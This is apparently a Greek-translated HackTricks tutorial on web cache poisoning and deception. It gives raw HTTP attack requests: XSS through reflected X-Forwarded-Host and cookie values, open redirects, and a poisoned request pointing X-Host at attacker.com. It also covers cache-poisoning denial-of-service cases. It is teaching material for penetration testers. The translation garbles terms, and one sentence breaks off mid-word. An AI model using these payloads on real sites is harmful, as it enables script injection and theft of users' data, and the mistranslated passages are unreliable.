20 KiB
Πληροφορίες για την Απάτη της Κρυφής Μνήμης (Cache Deception)
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
- Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα αποθετήρια HackTricks και HackTricks Cloud github.
Χρησιμοποιήστε το Trickest για να δημιουργήσετε και να αυτοματοποιήσετε ροές εργασίας με τα πιο προηγμένα εργαλεία της κοινότητας.
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Η διαφορά
Ποια είναι η διαφορά μεταξύ απάτης της κρυφής μνήμης του ιστού (web cache poisoning) και απάτης της κρυφής μνήμης του ιστού (web cache deception);
- Στην απάτη της κρυφής μνήμης του ιστού (web cache poisoning), ο επιτιθέμενος προκαλεί την εφαρμογή να αποθηκεύσει κάποιο κακόβουλο περιεχόμενο στην κρυφή μνήμη, και αυτό το περιεχόμενο παρέχεται από την κρυφή μνήμη σε άλλους χρήστες της εφαρμογής.
- Στην απάτη της κρυφής μνήμης του ιστού (web cache deception), ο επιτιθέμενος προκαλεί την εφαρμογή να αποθηκεύσει κάποιο ευαίσθητο περιεχόμενο που ανήκει σε άλλο χρήστη στην κρυφή μνήμη, και στη συνέχεια ο επιτιθέμενος ανακτά αυτό το περιεχόμενο από την κρυφή μνήμη.
Απάτη της Κρυφής Μνήμης (Cache Poisoning)
Η απάτη της κρυφής μνήμης (cache poisoning) στοχεύει στο να παραπλανήσει την κρυφή μνήμη του πελάτη για να αναγκάσει τους πελάτες να φορτώσουν πόρους που είναι απρόσμενοι, μερικοί ή υπό τον έλεγχο ενός επιτιθέμενου. Η έκταση της επίδρασης εξαρτάται από τη δημοτικότητα της επηρεαζόμενης σελίδας, καθώς η μολυσμένη απάντηση παρέχεται αποκλειστικά σε χρήστες που επισκέπτονται τη σελίδα κατά την περίοδο της μόλυνσης της κρυφής μνήμης.
Η εκτέλεση μιας επίθεσης απάτης της κρυφής μνήμης περιλαμβάνει αρκετά βήματα:
-
Αναγνώριση μη κλειδωμένων εισόδων: Αυτά είναι παράμετροι που, αν και δεν απαιτούνται για να αποθηκευτεί μια αίτηση στην κρυφή μνήμη, μπορούν να αλλάξουν την απάντηση που επιστρέφεται από τον διακομιστή. Η αναγνώριση αυτών των εισόδων είναι κρίσιμη καθώς μπορούν να εκμεταλλευτούν για να παραπλανήσουν την κρυφή μνήμη.
-
Εκμετάλλευση των μη κλειδωμένων εισόδων: Μετά την αναγνώριση των μη κλειδωμένων εισόδων, το επόμενο βήμα είναι να καταλάβετε πώς να καταχραστείτε αυτές τις παραμέτρους για να τροποποιήσετε την απάντηση του διακομιστή με τρόπο που να ωφελεί τον επιτιθέμενο.
-
Βεβαίωση ότι η μολυσμένη απάντηση αποθηκεύεται στην κρυφή μνήμη: Το τελευταίο βήμα είναι να διασφαλίσετε ότι η τροποποιημένη απάντηση αποθηκεύεται στην κρυφή μνήμη. Με αυτόν τον τρόπο, οποιοσδήποτε χρήστης έχει πρόσβαση στην επηρεαζόμενη σελίδα κατά την περίοδο της μολυνσης της κρυφής μνήμης θα λάβει τη μολυσμένη απάντηση.
Ανακάλυψη: Έλεγχος κεφαλίδων HTTP
Συνήθως, όταν μια απάντηση έχει αποθηκευτεί στην κρυφή μνήμη, θα υπάρχει μια κεφαλίδα που το υποδεικνύει, μπορείτε να ελέγξετε ποιες κεφαλίδες πρέπει να προσέ
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
Εξαγωγή επιβλαβούς απόκρισης από τον διακομιστή πίσω από τον διακομιστή
Αφού εντοπίσετε την παράμετρο/κεφαλίδα, ελέγξτε πώς γίνεται η απολύμανση της και πού επηρεάζει την απόκριση από την κεφαλίδα. Μπορείτε να την καταχραστείτε με οποιονδήποτε τρόπο (να εκτελέσετε ένα XSS ή να φορτώσετε έναν κώδικα JS που ελέγχετε εσείς; να πραγματοποιήσετε ένα DoS;...)
Λήψη της κρυφής απόκρισης
Αφού εντοπίσετε τη σελίδα που μπορεί να καταχραστεί, ποια παράμετρος/κεφαλίδα να χρησιμοποιήσετε και πώς να την καταχραστείτε, πρέπει να λάβετε την κρυφή απόκριση της σελίδας. Ανάλογα με το πόρο που προσπαθείτε να λάβετε από την κρυφή μνήμη, αυτό μπορεί να πάρει κάποιο χρόνο, μπορεί να χρειαστεί να προσπαθήσετε για αρκετά δευτερόλεπτα.
Η κεφαλίδα X-Cache
στην απόκριση μπορεί να είναι πολύ χρήσιμη, καθώς μπορεί να έχει την τιμή miss
όταν ο αίτημα δεν έχει αποθηκευτεί στη μνήμη και την τιμή hit
όταν έχει αποθηκευτεί.
Επίσης, ενδιαφέρουσα είναι η κεφαλίδα Cache-Control
, για να γνωρίζετε αν ένας πόρος αποθηκεύεται στη μνήμη και πότε θα γίνει η επόμενη φορά που ο πόρος θα αποθηκευτεί ξανά: Cache-Control: public, max-age=1800
Μια άλλη ενδιαφέρουσα κεφαλίδα είναι η Vary
. Αυτή η κεφαλίδα χρησιμοποιείται συχνά για να υποδείξει επιπλέον κεφαλίδες που θεωρούνται μέρος του κλειδιού της μνήμης ακόμα κι αν συνήθως δεν έχουν κλειδί. Επομένως, αν ο χρήστης γνωρίζει το User-Agent
του θύματος που στοχεύει, μπορεί να μολύνει τη μνήμη για τους χρήστες που χρησιμοποιούν αυτό το συγκεκριμένο User-Agent
.
Μια ακόμη κεφαλίδα που σχετίζεται με τη μνήμη είναι η Age
. Ορίζει τον χρόνο σε δευτερόλεπτα που το αντικείμενο έχει παραμείνει στην προσωρινή μνήμη του διακομιστή.
Όταν αποθηκεύετε ένα αίτημα στη μνήμη, προσέξτε τις κεφαλίδες που χρησιμοποιείτε, επειδή κάποιες από αυτές μπορεί να χρησιμοποιηθούν απροσδόκητα ως κλειδιά και ο θύμα θα πρέπει να χρησιμοποιήσει ακριβώς την ίδια κεφαλίδα. Δοκιμάστε πάντα μια Δηλητηρίαση Κρυφής Μνήμης με διάφορους περιηγητές για να ελέγξετε αν λειτουργεί.
Παραδείγματα Εκμετάλλευσης
Ευκολότερο παράδειγμα
Μια κεφαλίδα όπως X-Forwarded-For
αντανακλάται στην απόκριση χωρίς απολύμανση.
Μπορείτε να στείλετε ένα απλό φορτίο XSS και να μολύνετε τη μνήμη, έτσι ώστε όλοι όσοι έχουν πρόσβαση στη σελίδα να εκτελούνται XSS:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
Σημείωση ότι αυτό θα δηλητηριάσει ένα αίτημα προς /en?region=uk
και όχι προς /en
Χρήση δηλητηρίασης της προσωρινής μνήμης του ιστού για την εκμετάλλευση ευπαθειών στην χειριστή των cookies
Τα cookies μπορεί επίσης να αντανακλώνται στην απόκριση μιας σελίδας. Εάν μπορείτε να το καταχραστείτε για να προκαλέσετε ένα XSS για παράδειγμα, μπορείτε να εκμεταλλευτείτε το XSS σε πολλούς πελάτες που φορτώνουν την κακόβουλη απόκριση της προσωρινής μνήμης.
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
Σημείωση ότι εάν το ευάλωτο cookie χρησιμοποιείται συχνά από τους χρήστες, οι κανονικές αιτήσεις θα καθαρίζουν την cache.
Χρήση πολλαπλών κεφαλίδων για την εκμετάλλευση ευπάθειας δηλητηρίασης της cache του ιστού
Μερικές φορές θα χρειαστεί να εκμεταλλευτείτε πολλαπλές μη κρυπτογραφημένες εισόδους για να μπορέσετε να καταχραστείτε μια cache. Για παράδειγμα, μπορείτε να βρείτε ένα Ανοικτό ανακατεύθυνση εάν ορίσετε το X-Forwarded-Host
σε έναν τομέα που ελέγχετε εσείς και το X-Forwarded-Scheme
σε http
. Εάν ο διακομιστής ανακατευθύνει όλα τα αιτήματα HTTP σε HTTPS και χρησιμοποιεί την κεφαλίδα X-Forwarded-Scheme
ως το όνομα του τομέα για την ανακατεύθυνση. Μπορείτε να ελέγξετε προς ποια σελίδα γίνεται η ανακατεύθυνση.
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
Εκμεταλλευόμενος με περιορισμένο Vary
header
Εάν ανακαλύψετε ότι το X-Host
header χρησιμοποιείται ως όνομα τομέα για τη φόρτωση ενός πόρου JS αλλά το Vary
header στην απόκριση υποδεικνύει το User-Agent
, τότε πρέπει να βρείτε έναν τρόπο να εξαγάγετε το User-Agent του θύματος και να δηλητηριάσετε την προσωρινή μνήμη χρησιμοποιώντας αυτόν τον user agent:
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
Εκμεταλλευόμενοι την Ατελείωτη Προσπέλαση Προσωρινής Αποθήκευσης HTTP με την κατάχρηση της Ατελείωτης Προσπέλασης Αιτημάτων HTTP
Μάθετε εδώ πώς να πραγματοποιήσετε επιθέσεις Ατελείωτης Προσπέλασης Προσωρινής Αποθήκευσης με την κατάχρηση της Ατελείωτης Προσπέλασης Αιτημάτων HTTP.
Αυτοματοποιημένος έλεγχος για Ατελείωτη Προσπέλαση Προσωρινής Αποθήκευσης Ιστού
Το Εργαλείο Ευπαθειών Προσωρινής Αποθήκευσης Ιστού μπορεί να χρησιμοποιηθεί για τον αυτοματοποιημένο έλεγχο της ατελείωτης προσπέλασης προσωρινής αποθήκευσης ιστού. Υποστηρίζει πολλές διαφορετικές τεχνικές και είναι υψηλά προσαρμόσιμο.
Παράδειγμα χρήσης: wcvs -u example.com
Χρησιμοποιήστε το Trickest για να δημιουργήσετε και να αυτοματοποιήσετε εργασιακές διαδικασίες με τα πιο προηγμένα εργαλεία της κοινότητας.
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Ευπαθείς Παραδείγματα
Apache Traffic Server (CVE-2021-27577)
Ο ATS προώθησε το αποσπασμένο τμήμα μέσα στο URL χωρίς να το αφαιρέσει και δημιούργησε το κλειδί προσωρινής αποθήκευσης χρησιμοποιώντας μόνο τον κεντρικό κόμβο, τη διαδρομή και το αίτημα (αγνοώντας το αποσπασμένο τμήμα). Έτσι, το αίτημα /#/../?r=javascript:alert(1)
αποστάλθηκε στον πίσω κόμβο ως /#/../?r=javascript:alert(1)
και το κλειδί προσωρινής αποθήκευσης δεν περιείχε το φορτίο μέσα του, μόνο τον κεντρικό κόμβο, τη διαδρομή και το αίτημα.
GitHub CP-DoS
Η αποστολή μιας κακής τιμής στην κεφαλίδα περιεχομένου προκάλεσε μια προσωρινή αποθηκευμένη απόκριση 405. Το κλειδί προσωρινής αποθήκευσης περιείχε το cookie, οπότε ήταν δυνατή μόνο η επίθεση σε μη εξουσιοδοτημένους χρήστες.
GitLab + GCP CP-DoS
Το GitLab χρησιμοποιεί κάδους GCP για την αποθήκευση στατικού περιεχομένου. Οι κάδοι GCP υποστηρίζουν την κεφαλίδα x-http-method-override
. Έτσι, ήταν δυνατόν να αποσταλεί η κεφαλίδα x-http-method-override: HEAD
και να δηλητηριάσει η προσωρινή αποθήκευση επιστρέφοντας ένα κενό σώμα απόκρισης. Μπορούσε επίσης να υποστηρίξει τη μέθοδο PURGE
.
Rack Middleware (Ruby on Rails)
Στις εφαρμογές Ruby on Rails, συχνά χρησιμοποιείται το Rack middleware. Ο σκοπός του κώδικα Rack είναι να πάρει την τιμή της κεφαλίδας x-forwarded-scheme
και να την ορίσει ως το σχήμα του αιτήματος. Όταν αποστέλλεται η κεφαλίδα x-forwarded-scheme: http
, συμβαίνει μια ανακατεύθυνση 301 στην ίδια τοποθεσία
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
- Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΠΛΑΝΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε The PEASS Family, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.